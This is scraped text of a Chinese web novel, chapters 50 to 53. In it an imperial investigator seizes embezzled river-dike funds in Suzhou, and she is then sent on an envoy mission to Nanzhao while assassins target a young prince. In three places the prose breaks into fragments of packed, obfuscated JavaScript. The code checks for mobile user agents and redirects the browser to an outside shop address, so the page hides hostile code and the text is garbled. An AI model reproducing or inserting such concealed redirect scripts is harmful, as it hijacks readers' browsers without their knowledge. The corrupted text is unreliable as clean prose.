0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023600|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声鹤唳。都生怕下一刻,屠刀会朝着自己落下。 而主导了这场风暴的李希言还在苏州州府的监牢中审问着犯人。 杨利贞将事情交代得很清楚。 一切如同李希言的推测一般。 薛夫人在发现其受贿的行为后,劝其收手。他不仅不听反而起了杀心。 因为顾虑尚在世的王老夫人,他只好找上了陆方明帮忙。 “陆方明误导我,我以为孩子不是我的,就想出了这个办法。孩子都死了,这样就不会有人怀疑我。” 监牢很小,杨利贞陷在干草中,声音又干又闷。 李希言坐在桌前,放下笔。 “你确定这办法是你想出来的?” “不是,是陆方明。他让我这样做的。那晚,我先按照他的指使在月饼里下了药,又在离桌前悄悄让夫人在睡前拿着孩子的课业带着孩子来找我。他们到了之后没多久就睡着了。等杀手杀死了他们后,我将自己的衣裳和剑上沾了血,弄乱了现场,抽走了账册,最后将房门全部锁住,坐在一边做出昏迷的假象。事后再讹称是城隍引诱我杀人。” 杨利贞微微抬起头。 “我以为,这事情不会有人发现的。” “你就不怕有人来查?” “陆方明说,若是真的有人来查,查到后面,一定会发现缺失账册的事情,到时候可以把锅甩给苟维和于大。别忘了那个杀手和于大身形仿佛,就连你最开始不也以为凶手是于大吗?” 李希言眉头微蹙,心中生出些疑惑。 “只有这些?” “事已至此。”杨利贞自嘲一笑,“我没有再隐瞒你的意义,只有这些了。” “那你原本打算如何对付莲姨娘?” 杨利贞语气平淡。 “找个机会把她推河里,谎称因为思子亲切自杀。” 还有一个疑点。 李希言再度拿起笔。 还未等她开口,杨利贞却破天荒第一次主动问了问题。 “我很好奇,按理说捉到于大后,你就应该会认定他就是凶手,怎么还会继续去查?” “准确说,正是捉到于大这件事才让我察觉到这案子的凶手没那么简单。” “嗯?” “去蹲守于大那晚,知晓了凶手特征的莲姨娘忽然要杀于大。这,充满了陷阱的味道。像不像是在灭口?” 杨利贞并不傻,只是一涉及到自己的软肋就失了理智,才会容易被人蒙蔽。 此刻,他已经有所感知:“灭口……” “陆方明确实厉害。借与于大身形相似的杀手,不仅让我们误以为于大是凶手,更让痛失孩子的莲姨娘也认为于大是凶手。若非那晚我反应快,于大死亡,莲姨娘作为杀人犯也会很快被陆方明埋下的苟维处理掉。你将永远无法知晓真相。” “他……”杨利贞不解又愤怒,“何苦如此害我!” 李希言写下最后一笔,吹了吹纸上的墨。 “你和苟维都知道他的秘密,他要是没有你们的把柄他怎会放心?” “我太蠢了。”杨利贞呆滞地窝在监牢中,干涸的双眼不住流下泪水。 虽然对方已经有了几分可怜模样,李希言还是没有放过他。 “确实。” 绣衣使押着已换上囚衣的陆方明快步走进。 “来了?都听见了?” 陆方明用力昂起头,一双依然发亮的双眼满是兴奋。 “输给李少使,在下心服口服。” 李希言锋利的眉眼满是不屑。 “你还不配做我的对手。” 陆方明毫不在意地朗声一笑:“在下更喜欢李少使做小伏低的样子,甚是可爱。” 见惯了变态的李希言丝毫不为所动。 这种人,打他骂他会让他更开心。 果然,见她没有反应,陆方明不满地摇了摇头。 李希言这才将手边的账册摊开。 “说说,还有两千两黄金,一万两白银去哪里了?” 陆方明依旧猖狂。 “李少使竟然连这都查到了?” 李希言蔑了他一眼:“你有没有想过,你家豢养的那个杀手为什么会招得干干净净?” 监牢里似乎变得更加阴冷了。 陆方明浑身汗毛立起,喉咙都有些紧。 “你什么意思?” “把狗牵进来。” 一个传闻骤然从记忆中冒了出来。 陆方明呼吸一下变得急促了起来,连连向后退,却被一直辖制着他的绣衣使擒住。 “再给你最后一次机会。”李希言已经在收拾桌上的纸笔。 狗的哈气声越来越近,陆方明终于松了口。 “我说……东西在漕帮那里,我托他们将金银送去京城。九月……九月初一就要出发。” 今日就是八月三十! “将人关好,留下十人看守,其余人和我去码头!” 51. 火箭流星 得知了赃款的去向后,李希言立即下令封锁了苏州的漕运,带着人去了漕帮栖身的码头。 下午,正是码头最繁忙的时候。 河上的鼓声不断,一艘艘船只接连离岸。 整个码头上没有一个船工是歇着的。 一群绣衣使驰马而来。 热闹的码头忽然一静,所有人不由自主地停下了动作。 码头的草棚下,一个身着酱色绸缎衣裳衣手拿算盘的男子站了起来。 他捋了捋八字胡。 “绣衣使……” 李希言翻身下马穿过人群,走到他面前,按着腰间的佩刀,沉静的面容下酝酿着怒火。 “漕帮的货不干净。” 八字胡男子嘿嘿一笑。 “李少使玩笑了,我们漕帮的东西怎么会不干净呢?都是过了明路的。” “什么明路?陆方明的路子?”李希言声调骤然变高,厉声呵斥,“不想死就把赃款交出来!” 船只一旦出了苏州入了长江……江阔水茫,那些赃款就再也难觅踪迹。 她必须在苏州就截住那些船只。 绣衣使齐刷刷拔出刀。 数道利刃直指着男子。 森白的刀锋上仿佛在滴血。 八字胡男子一下就软了腿,差点跪了下去。 “赃款……什么赃款?” 站在旁边的船工小心翼翼地问出了声音。 李希言尽量放缓语气:“被陆方明等人贪污建造河堤款项。” 出声的船工脸上立刻染上一分怒色。 他是漕帮的人,但也是普通百姓。 河堤没修好,垮了塌了,首当其冲的就是自己! 其余人也是抱着同样的想法。 李希言转头对着船工们问道。 “赃款数量不少,很沉,罪人招供原计划九月初一就要送去京城。你们可有线索?” 船工们都沉默了起来,努力在脑海内搜索着。 九月初一要去京城的船只…… “哎呀!”一个船工忽然拍着大腿说道,“刚刚走的那个船不是原定九月初一走的吗!” 李希言飞快瞟了一眼八字胡男子的反应。 眼睛眨得飞快,手还发抖了。 “你们消息倒是灵通。” 她不再客气,直接一脚踢向他的膝盖骨。 咔—— “啊!” 碎裂般的疼痛让八字胡男子跪了下来。 “船的路线。” 杀气压得男子无法抬头,似被山压着一般。 “沿着河往北……八条船上都有都有,挂的绿色旗子。” 李希言点了两个人。 “把他押回监牢,传信调一百人过来,其余人随我去追船。” “是!” 船只出发已经有快半个时辰。 李希言沿着河道,骑着马一路狂奔。 一刻钟后,身后响起哒哒的马蹄声。她勒住缰绳,停了下来,转过身。 来支援的竟然是容朗。 他身着玄色锦衣,手拿一把漆黑的重弓,身后跟着上百的卫兵。 容朗放缓速度,骑着马走近。 “情况怎么样?” 李希言面露凝重,顺着她的视线望去。 河道上,十艘大船组成的船队不止歇地向前行驶着。 “我们骑着马,如何阻拦得住?可要去调些船只过来?” “不必。”李希言摆了摆手,眼神微垂,盯着他手里的弓箭,“我有法子。” 她扯了扯缰绳,调转马头。 一队人很快追上了为首的船只,停在了船队前方的四十余步的河沿处。 挂着绿旗的船队已经快要进入浩茫茫的长江。 李希言拔出刀,垂在身侧。 “钟力,喊话。” “行船的!停船靠岸!绣衣司追缴赃款!” 钟力个子大,声音浑厚至极。 路边的树枝颤动,掉下纷纷的落叶。 船上的船工不仅没有动静,反而还拉紧了帆。 钟力扯着嗓子,用更大的声音又喊了两次。 船只的帆被拉得更紧了。 冥顽不灵! 李希言转头对着容朗问道:“你箭术如何?” 容朗自信地掂了掂手里的弓。 “射到船上不成问题。” 他说完就伸手去取箭,李希言却忽然按住他的手,黑沉沉的眼里尽是杀气。 “光这样不够。” “不……不够?” “要有火。” “可是……”容朗有些为难,“这时候从哪里去找浸了油的布?” 正说着话,他的余光瞟见身后持着弓箭的十几个绣衣使都在马上的布袋中摸出了湿哒哒的麻布…… 怎么?这还是绣衣司的常备之物? “给王爷分些。” 钟力主动把自己的布袋递过来。 “我准头差,用了也是浪费,还是王爷来吧。” 容朗接过布袋道了谢。 李希言收好刀,帮着他把箭头捆好。 “早就听说王爷箭术超群,今日劳烦王爷起个头,把这箭射到船帆上。” 容朗有些担心。 “船只要是起火……会不会太危险。” 那些船工也只是听命行事。 “水上讨生活的人水性都很好,不会出人命。” “你不出手?”容朗见她手里空空,有些意外。 李希言指着自己布满血丝的眼睛。 “我眼睛不太舒服,看不太清。王爷,动手吧。” “嗯。” 容朗点燃箭矢搭上弓,稳住上半身,深吸一口气,瞄准…… 一支火箭如流星一般射出,准确落在了船帆上。 船帆瞬间被点燃。 李希言抬起手。 “钟力,再给他们一次机会。” “是。”钟力清了清嗓子,大喊道,“再不停船,格杀勿论!” 船工们的动作慌乱了起来。 此时,最中间的船上出现了一个身着青衣的男子,对着船工们发号施令。 那些船工立即冷静了下来,井然有序地开始灭火加速。 “王爷,能射中那人吗?”李希言遥遥指着那男子。 容朗比划了一下:“没问题,要伤还是要死?” “活口。” “好。” 容朗再射出一箭,箭矢正中男子肩头。 男子应该是很重要的人物。 他一倒地,船工们都乱成了一团。 李希言挥手:“放箭!” 数道火箭瞬间同时射出,接连不断。 八艘船只全部被点燃。 船工们如李希言所预料的一般,弃船逃生。 然而在上岸处,已经站满了卫兵。 他们已经无处可逃。 李希言看着水下那两个架着领头人的船工。 “上来吧。” 两个船工露出一口大白牙,把那人往前推了推。 “大人。我们帮您把人带上来,算立功不?” 男子不可置信地看着夹着他的两个船工,伤口的血流得更快了。 李希言失笑。 “算。”她勾勾手指:“先上来。” 船上所有船工全部被抓获,为首的那人捂着肩伤愤恨地盯着骑在马上的李希言。 “恶毒!” 李希言俯下身捏住还未拔出的箭矢,在他的血肉里搅了两下。 一声凄厉的惨叫响彻云霄。 “啊——” 李希言放开手,拍了拍。 “没见识的东西。” 这才叫恶毒。 容朗狗腿地递上手帕:“擦擦,可脏了。” 手帕的质地是丝滑的绸子。 李希言摇摇头,顺手拿汗巾子擦了两下。 “别浪费。” 容朗知道她生性节俭,笑着收回手帕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028296|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “船上的东西怎么办?” 船只被烧得并不严重,船架子还飘在水上。 李希言把事情抛给苗青。 “让人想办法把东西带下来。” 苗青任劳任怨:“是。” 从船上带下来的箱子经过关风和的清点,与缺失的赃款正好对上了数。 李希言坐在房间里,满意地点头。 “附近有谁在?” 关风和想了想:“好像狄游狄少使在附近?” “给他去封信,让他把东西运回京城。” 李希言把写好的信掏出来,递给她:“信也一起。” 关风和收好信:“告状的?” “什么告状。”李希言横了她一眼。 “我知道是描述事实。”关风和拍了拍胸口,“少使,我们啥时候离开苏州啊?” “再等等。宋刺史那边忙着没法赶回来主事,衙门也没人。而且我还要等一个人。” “等谁啊?” 李希言向后一仰,靠在椅背上 “苏州这边的堤坝全部都要拆掉重新建造,总要有个人来主事吧?” “你找到人了?” “算是吧。治水的事情我不懂,人是容朗推荐的。” “长乐王?他懂?”关风和眉毛高高挑起。 “林闻。这人本事如何我不知道,但是确实清廉。” 苏州这边水患虽然严重,但是并没有太大的其他问题。 接手官员只要足够清廉,修个堤坝还是不成问题。 “他呀?我记得他老人家七十了吧?” “六十八,还没满七十。” 关风和皱着脸:“反正年纪一大把了,能行吗?” “能行。” “不是我说啊。等他到苏州都得几个月吧。” “他就在常州,最多三日。” 然而,这一等,就让她等了许久。 一直到九月十六,早就该到达苏州的林闻都还不见踪影。 正在用午饭的时辰。 将赃款托付给狄游的关风和来找李希言交差。 李希言和容朗正坐在一块儿用饭。 氛围和谐得让向来大大咧咧的关风和都觉得有些不自在。 怎么办?觉得自己像个外人。 李希言倒是很自然,放下筷子问道:“用过饭了吗?” “老狄多大方的人,可不得请我吃顿好的?”关风和朝着容朗点了点头算是打过招呼。 李希言喝下最后一口汤。 “那你先回去休息吧。” 关风和面露踌躇,忍不住问了一句,“那个林老大人还没到?” 李希言心里也有些打鼓:“我让人去他那儿问问。” 关风和表情有些微妙。 “不然……让人直接去找找吧?” “找什么?” 关风和瘪了瘪嘴:“我不是说您啊……” 李希言擦了擦嘴。 “直说。” 关风和闭上眼:“您比较容易遇见人命案!” 房里瞬间安静了下来。 容朗默默地咽下嘴里的饭。 好像……是有点啊…… 李希言黑着脸指着门口。 “这就走,这就走……” 关风和往后退了几步却突然顿住。 冲过来的苗青正撞上她的背。 “哎呦!” 二人齐齐呼痛。 李希言扶着额头,从牙缝里挤出三个字。 “什么事。” 苗青揉着脑袋:“外面来了个老人,说自己是林闻。” 关风和脑子一热,嘴比脑子快:“活着的?” “啥?”本来就被撞得发懵的苗青很是迷茫,“死人还能来衙门敲门?” “我们之前去京郊的山庄不就遇见过一个‘会敲门的死人’吗?” 啪! 李希言手按在桌子上,面色微微发红。 “还不快把人给我请进来!” 52. 南诏 林闻意外的没有那么年迈,虽然已经是老人模样,却没有几根白头发,看上去也就五十出头。 “老朽见过王爷,见过李少使。” 二人对他多是敬重,容朗急忙扶住他。 “林老先生不必客气。这一路赶来,辛苦您了。” 林闻严肃的表情松了松。 “老朽年迈,能在死之前为朝廷百姓再尽一份力,怎么能说是辛苦。” 三人一坐下,林闻直接从怀里拿出了厚厚一叠纸张。 有的纸上画着图,有的密密麻麻写着字。 “这是?” 林闻将纸张在桌上铺开。 “老朽接到消息第二日就赶到了苏州,这段时间一直在苏州周边乡镇察访。这是老朽这些日子所得。” 李希言拿起来看了一眼。 是修筑堤坝的图纸。 林闻解释道:“除去其他的工程,我准备在河流入海的地方用石头围衬,减少海水对堤坝的侵蚀,这是在堤里种柳树和草皮,可以再次加固堤防。” 李希言坦然道:“术业有专攻。既然请了您来就是信任您,我只问一句,这些工程需要多少银子?” 此话一出,林闻放在腿上的手不安地动了动。 “有些多,大概得五六万吧。” 虽然自从今上登基后,大晋已经恢复了元气,但是去年收上来的税也不过两千多万两…… 李希言皱着眉:“能少些吗?” “要是上下一心,无人贪墨,一半足矣。” “三万六?” 这个数字在预期之上,林闻抚掌:“大善!” “贪墨的问题……”李希言敲了敲刀柄,“才立了威,这些人不会太快忘记。林老先生放心,河堤竣工之日,本官会亲自向陛下为您请功。” 林闻抚着胡子:“李少使这样说,老朽就不客气了。” 饶是李希言,也被他的直接给弄得懵了一下。 “林老先生有所求?” “自然是有的。” “求什么?” “徐州刺史。” “徐州?”李希言有些意外。 徐州,可没有苏州这样富庶。 “没错。”林闻晃了晃头,“不是刺史,也行。老朽只希望,在任期结束后能调往徐州就行。” 李希言也不多问。 她对此有所猜想。 徐州连接南北,贯通东西。 先帝还在的时候,林闻就多次上疏说要在徐州修建水利。 “好。” “李少使爽快。等任命书和款项到位,老朽立即开始动工。” 皇帝的命令是在第二日到的。 命令有四条,三明一暗。 第一条,肯定了李希言的的行事。让她将其余人等送到京城候审。 第二条,任命林闻为新的吴江县令,主持建造河堤。 第三条,河堤修建款在十五日后就会抵达,足足有四万两白银。 林闻高兴得止不住笑。 从来没这么富裕过。 第四条…… 随着暗令来的,还有几口大箱子。 来送东西的绣衣使神神秘秘的,悄悄把箱子抬到了李希言的房内。 “这是……”容朗问道,“哥哥让人送的什么来?” 绣衣使摇摇头。 李希言直接上前,把箱子打开。 二人定睛一看。 箱子里装得满满当当的。 上面放着一个礼单。 打开一看。 白玉观音像。 莲纹螺钿宝鈿鏡。 鎏金四天王盝顶银宝函。 …… 怎么全是和佛教有关的东西? 礼单中还夹着一封密信。 信是皇帝亲笔所写。 大意是让李希言带着东西去南诏国一趟。 明年二月份就是南诏国国主蒙余的生辰,南诏国崇佛,这些东西都是赏赐给南诏国主的。 顺便他还布置了两个任务。 一个任务是要在这次出使南诏的过程中尽力争取南诏的支持。 南诏夹在吐蕃和大晋中间摇摆不定。若是能联合南诏,让其真心顺服,对吐蕃的胜算会多上不少。 第二个任务就有些难以放在人前说了。 皇帝先是大骂了一通在交州的平南侯全家贪赃枉法里通外敌。 但是他现在没有切实证据。想了想皇帝觉得反正平南侯也不是什么好人,所以干脆让李希言这次去找点平南侯家里的把柄出来,好让他有机会收拾平南侯。 至于两件事为何放在一起交代,也只是因为交州和南诏接壤。 李希言将书信顺手烧掉。 火舌飞速吞食了纸张,只剩下一堆灰。 “这是陛下送给南诏国君的国礼。过几日就出发去交州,等到年后再去南诏。” 容朗瞟了一眼桌上的一堆灰。 “南诏蛇虫不少,这几日我去买些药配些驱虫的香囊。” “我们真的要去南诏吗!”趴在门外偷听的瑞王憋不住了,兴冲冲地跑了进来,扯着李希言的袖子直晃,“真的吗!真的吗!” 李希言暗自咬牙,指着几个绣衣使:“你们先回去复命吧。” 那几个绣衣使行了一礼,逃似的走了。 李希言这才反手捏住瑞王的爪子。 “在外面偷听了那么久还没听清?” 瑞王嬉皮笑脸地抽出手:“听清了听清了。” “正经点,我有事问你。”李希言按住他的肩膀。 “您问!” “平南侯认识你吗?” “不认识啊。”瑞王歪着脑袋,“怎么提起他?” 既然要同行有些事情也不能完全瞒着。 李希言斟酌了一番说道:“陛下说平南侯贪赃枉法里通外敌,让我这次去顺便寻找证据?” “里通外敌?”容朗敛眉,表情沉重了几分,“平南侯贪赃枉法是没得跑,可这里通外敌……从何谈起?” “陛下并未提及,或许是哪儿来的情报吧。” 容朗觉着有些不对劲儿。 “哥哥的情报不都是绣衣司负责吗?这么重要的事情,李少使不知道?” 平南侯身处边境重地,若真有里通外敌之嫌,李希言作为绣衣司中的第二级官员应该早就收到了消息。 “绣衣司并未收到风声,可能是陛下意外发现了什么。总之,这次去平南侯府……”李希言看着瑞王强调,“你一定要掩饰好自己的身份。” “我知道,我是礼部胡侍郎的幼子,胡三郎。” “还有一个身份。这次上路,我会让人装作你往京城而去。而我们则装作走镖的镖师带着空箱子取道长江走水路到泸州改道去安南都护府。” “那这些箱子?” “由绣衣司秘密押送至安南都护府。”李希言很看重这些箱子,“这个不能出意外。” 瑞王摸了摸脑袋:“怎么?还有人跟着我们?” “这倒没有,只是有些不放心。” 李希言的直觉向来极准。 她总觉得那些刺杀瑞王的人没那么简单。 绣衣司都找不到痕迹的人…… 不可能就这么快罢手。 容朗似有感应。 “我会看好他的,李少使这几日好好休息休息吧。” “不了。”李希言还有事要准备。 容朗知道她的性子,问道:“你还有什么事没做?” “既然要去南诏,还是得做些准备。我对南诏很陌生,得去找些书看看。” 容朗扬唇一笑。 “我倒是知道些南诏的事情,看这些书多乏味?不如听我说说?” 南诏这几年和大晋交道不少…… 说不定容朗接触的南诏更真实。 李希言点头坐下,给他倒了一盏茶。 “那就劳烦王爷了。” 容朗压下心中的欢喜,坐了下来,又转头对着瑞王摆摆手:“你就先回去吧。” 瑞王这几日和卫川“玩耍”得正开心呢,巴不得回去,立即应一声准备回去。 “等等。”李希言叫住他,指着自己对面的位置,“你也一起听听。” “我听这个干嘛啊!”瑞王不情不愿地说道,“我这次又不是以皇子的身份去的!” “可是你实际就是一个皇子。”李希言拉下脸,指节敲击了两下桌子,“这对你有好处。” 瑞王不是不识好歹的人,嘴虽然还撅着,但是人已经乖乖坐了下来。 “南诏的故事挺有趣的,你好好听着。”容朗最知道怎么拿捏这个大侄子。 果然,瑞王一下变了表情,一脸期待地看着他。 容朗看了看他,又看了一眼一脸冷静的李希言。 什么时候姐姐也能这样看着我就好了…… 他心中暗叹,喝了一口李希言亲手给他斟的茶,心中稍微舒服了一点点。 “从头说起吧。在洱海附近有六个部落。东边的叫越析诏。北边的叫施浪诏、浪穹诏和邆赕诏,这三诏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037251|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系最近,被合称为“三浪诏”。生活在洱海西边的叫蒙嶲诏,是哀牢人的后裔,他们和南面的蒙舍诏同根同源。而这个蒙舍诏就是现在的南诏。” “怎么都叫什么‘诏’啊?”瑞王挠挠头。 “‘诏’是主人的意思,你可以理解为部落的领主。”容朗继续说道,“大晋初立之时,六诏并立,吐蕃在北窥伺河西,于东南妄图染指巴蜀。而夹在中间的六诏就成了他们需要征服的第一个目标。六诏很机敏,知道两边都得罪不起,干脆当起了墙头草。然而,六诏中有一个却不是如此,他们对大晋十分忠诚。” “哪一个?” “就是蒙舍诏第五任诏主,也就是后来被太祖亲自册封赐名的第一任云南蒙节!” “他一个南诏人这么忠于大晋?”瑞王闻到了一股阴谋的味道。 “当然,这只是书上所说的体面话。实际上蒙节打的是借助大晋的力量一统六诏的主意。在他被封为云南王的当年,他就借剑南节度使之口,请求太祖将‘六诏合一’。” 瑞王一脸凝重:“六诏统一不完全是好事。” 李希言勾起唇角。 小皇子还是不傻的。 “确实。只是当时吐蕃是更大的敌人,大晋又刚刚立国。太祖为了对付吐蕃只能选择支持南诏一统六诏。第二年,在大晋的支持下,云南王一统了南诏,还驱逐了领土内的吐蕃。” 李希言眼神微闪:“虽有大晋相助,但是这个云南王不容小觑。” “没错。之后没多久,南诏不顾大晋警告吞并了东西爨,又慢慢投向了吐蕃。一直到二十年前,哥哥在河西对吐蕃取得大胜后,吐蕃将怒气发泄到南诏头上,才引得一直被其压迫的南诏蠢蠢欲动。哥哥刚刚登基的时候,南诏与吐蕃大战取胜,之后就派使臣拿着地图金印进京献了投名状。这几年来,南诏在我们对吐蕃的战役中出力不少。” “现任云南王也不赖。”李希言记得数年前,南诏对吐蕃的那一场战役中,吐蕃可是大败。 “此人虽然不太识文断字,但是心眼儿可不比读书人少。” 容朗和这位云南王可是正经打过交道的。 笑得憨厚,看得却让人心里发寒。 瑞王问道:“这南诏还真算是养虎为患了。” 李希言:“不仅如此。南诏看着老实,暗中却一直觊觎着安南都护府。” “该杀!”瑞王脸上的笑消失得无影无踪,“没了安南都护府,我们就断了海上贸易的路!” 容朗按住他的手臂。 瑞王深吸一口气:“我们这次去一定要好好看看安南都护府那边的情况,千万不能给他们可乘之机。还有那个平南侯,敢里通外敌,找个由头直接弄死。” 李希言见他这样只觉得欣慰。 “殿下说的是。” “对了,我记得现任云南王都快六十了吧?” “今年六十大寿。”容朗指向箱子,“不然哥哥不会给这么重的赏赐。” “他家的王子们……”瑞王搓了搓手。 “长子荒淫,次子懦弱,幼子尚未长成。” 瑞王“啧”了一声。 “完全没有做手脚的必要啊。” “那可不一定。”李希言回想自己得到的那一点情报,“南诏如今权臣势大。章氏和姚氏两家就占了一半的朝堂。” “那岂不是更好?” “两家都是汉人血脉,但是章氏亲近大晋,姚氏嘛……”李希言眼含杀气,“对大晋分外不满。” “你不要告诉我,如今姚氏更强些……” “没错。云南王更看重姚氏,章氏虽有宰相,但是处于下风。” “我怎么记得章宰相还是那些王子的老师吗?云南王不喜欢他还让他教自己儿子?” “制衡之道罢了。”容朗敲了敲瑞王的脑袋,“他看重姚氏,是因为如今南诏归附大晋,自然要重用不亲大晋的官员。” 瑞王很是沉默,垂着头。 李希言也问得差不多了,大发善心。 “让卫川带你出去透透气?” “啊?”瑞王呆呆地看着她,“什么?” “不想出去玩儿?” 瑞王心里发痒,故作矜持:“也不是不行。” 李希言忍住笑:“多带几个人。” “知道了!” 一眨眼的功夫,瑞王就没了影儿。 李希言转头对着正傻笑的容朗下了逐客令。 “王爷不回房吗?” 容朗笑不出来了。 怎么?用完就扔? 53. 第五案:金刀杀人案 长江滚滚。 一行人的船只悄悄夹在船流中驶出了苏州,进入了广袤的江域。 苍鹰站在桅杆顶部,俯视着四周。 为了装作镖师队伍,一行人都做了伪装。 绣衣使们藏起了自己的官服,只着一身轻便布衣,容朗也不再穿得太过奢华,只换了一身普通绸缎衣裳。 瑞王揪着自己身上的青色粗布衣裳,新鲜极了。 这样穿着好像江湖侠客!他喜欢! “都进来。”李希言的声音从船舱里传来。 还在甲板上的人立即走了进去。 只见李希言正坐在桌边,身着利落的褚红色齐腰襦裙,这是时下时兴的款式,让她看上去没那么扎眼。 容朗抢先坐到旁边。 “李少使有什么事?” 李希言从一摞纸张中抽出一张递给他。 “新的路引。” 容朗接过。 任朗,二十五岁,京城人。 “你是任家镖局的三当家,也是大当家的弟弟。” 瑞王凑过来:“我呢!我呢!” 李希言将他的找出来递过去,嘴角微微翘起。 “任性,大当家的小儿子。”、 众人哄笑。 瑞王红了脸,拿着路引控诉:“你挟私报复!我怎么就一定要叫任性!” 李希言才不理他,将新的路引发给众人。 每个人相互交流了自己的新身份,都很高兴。 关风和把路引揣好:“挺不错啊,我们的名儿都没怎么改!” 容朗借机问道:“李少使,你呢?你的身份是什么?” “二当家的女儿,李音。” 音…… 听到这个名字,容朗只觉得自己浑身都在发麻。 她到底是记得还是不记得…… 是记得之前的事情,但是独独忘记了他? 他嘴里有些发苦。 “这是李少使之前的名字?” 李希言一下警惕了起来。 “王爷何故做此问?” 容朗将嘴里的苦味咽下,故作轻松之态。 “原来听国师说,希言二字是他取的,所以才有此想。” “原来如此。”李希言尴尬地清了清嗓子。 师父确实喜欢到处去说自己徒弟的事情。 瑞王听见了这话问道:“所以李夫子原来叫李音啊?” 李希言忍不住皱了皱鼻子:“算是。” “算是?” 李希言正想着怎么转移他的注意力,没想到容朗忽然说道:“你今日的课业写完了吗?” 面前的小叔叔模糊了面容。 “你是活阎王吗!” 李希言急忙摆手赶人:“吵闹,出去玩儿去!” 京城。 这是一处隐秘的山谷。 地势不险,树林也不密,周边方圆几里却没有人烟。 身处其中,耳边只听得到枝叶被风吹过的沙沙声。 沙沙。 一双脚踩过泛黄的野草。 “主子。” 男子转过身,淡淡地看了他一眼。 “怎么?任务失败了?” “是……我们的人是在瓜洲镇的长江上动的手,船上的人根本就不是那个小皇子!” “是绣衣司的人?” “是。是绣衣司的狄游……他们早有防备,我们的人损失惨重。” “没被抓到活口吧?” “那倒没有。况且有您的药在,抓到了他们也很难找到线索。” “这个李希言……还真是鬼精鬼精的。”男子古井无波的表情出现了一丝笑意。 生硬的笑。 看上去像是挤出来的一样。 “主子,那接下来……” “宫里有新的消息吗?” “没有……主子,属下总觉得那人靠不住,他毕竟也是……” “不会,我和他是同样的立场。利益和仇恨是最值得信任的。宫里没消息怕是她已经发现了什么蛛丝马迹,有所防备。先去找到他们的行踪,再按照计划行动。” 干枯的野草又响了两下。 “主子……请恕属下多嘴。您为何一定要和皇帝赏给云南王的东西过不去?” 男子动作温柔地抚上身边的树木,沿着树皮的纹路摩挲着,眼中厉光乍现。 “南诏潜藏野心,不可留。” “属下遵命。” “记得,杀瑞王就是了,别伤了李希言。”男子低下头,眸光晦暗不明。 “可……李希言的武功……要在她眼皮子底下杀了瑞王,还不伤她性命,这太难了。” 男子的手指重重一按,树皮被碾成了粉末扑簌簌掉了下来。 “尽量吧。” “是。” 开阔的江面逐渐变窄,水流愈急,两岸的山势也变得拔高陡峭起来。 已经到了蜀地的范围。 云雾漫上船只,视线变得模糊,只能看见一艘艘船从茫茫一片中驶来离去。 经验丰富的船工们立即松了松船帆,降低了速度。 这样的美景没人愿意错过。 众人都站在了甲板上,只有李希言是被容朗软磨硬泡拉过来的。 一团白茫茫的,有什么好看的? 她打了个哈欠,舔了舔发白的嘴唇。 “就像是仙境一般啊!”站在前面的卫川感叹道,“蜀地真是人美地灵。” 关风和翻了个白眼:“你也就只记得美人了?” 卫川很是不服气。 “怎么?爱美之心,人皆有之。” 苗青从后面钻出来,攀住他的肩膀:“哥们儿,作为蜀地人,我提醒你一句。蜀地的姑娘是美,但是那脾气可烈着,你那油腔滑调的做派绝对要被打!” “咳咳。”卫川面露尴尬。 正在钓鱼方淳甩了甩鱼竿,尤嫌不足地补了一刀。 “上次把你吊在你院子门口的万娘子不就是蜀地人么。” “什么吊在院子门口!”瑞王一下来了精神。 关风和主动解释:“他走半道上遇见了万娘子,说要和别人认识认识。万娘子不理他,他还缠着人不放,把别人惹急了就……” “好了好了!”卫川挡在二人中间,一张白玉似的脸红得发紫,“能不提这事儿了吗?” “别说了。”李希言忽然出声。 卫川甩了甩袖子,仰起头。 “你们看看!别人少使多好,就不揭别人的短……” “万娘子打他最重的又不是那一次。”李希言一本正经。 “对对对!”关风和起哄,“是那次在绣衣司,和他打了一架。” 苗青:“他没打赢。” 方淳:“还被人把扇子给戳了个稀巴烂。” 众人都是见证者,想到当时的情景不由笑了起来。 “真的啊?!”瑞王追问,“万娘子为什么要和他打架啊?” 他指着已经把脑袋埋进肚子的卫川。 没想到,刚刚还什么都说的人齐齐闭上了嘴。 还是李希言说道:“看他不顺眼。” “噗。”瑞王捂着嘴笑。 卫川又羞又窘。 他这辈子就在这个万娘子手上丢过这么大的人! “各位!”船工跑过来说道,“等会儿要起大风了!各位先回船舱呆一会儿吧?” 众人一听这话立即往船舱里走,就连痴迷钓鱼的方淳也收了鱼竿。 瑞王回过头,看向江面缓缓流动的白雾。 “这也不像是起风的样子啊,他们怎么会知道要来大风了?” “那是别人吃这碗饭的本事。”容朗笑着回头,“还不进来?” 瑞王向里走了几步,又回了回头望了一眼。 “他们又没读过书怎么会知道怎么预测天气?” “这和读书有什么关系?”容朗不免觉得好笑,“人人皆有自己的长处,读书好只能代表学问不错,他们没有读过书是因为出身,并不代表他们没有脑子。” 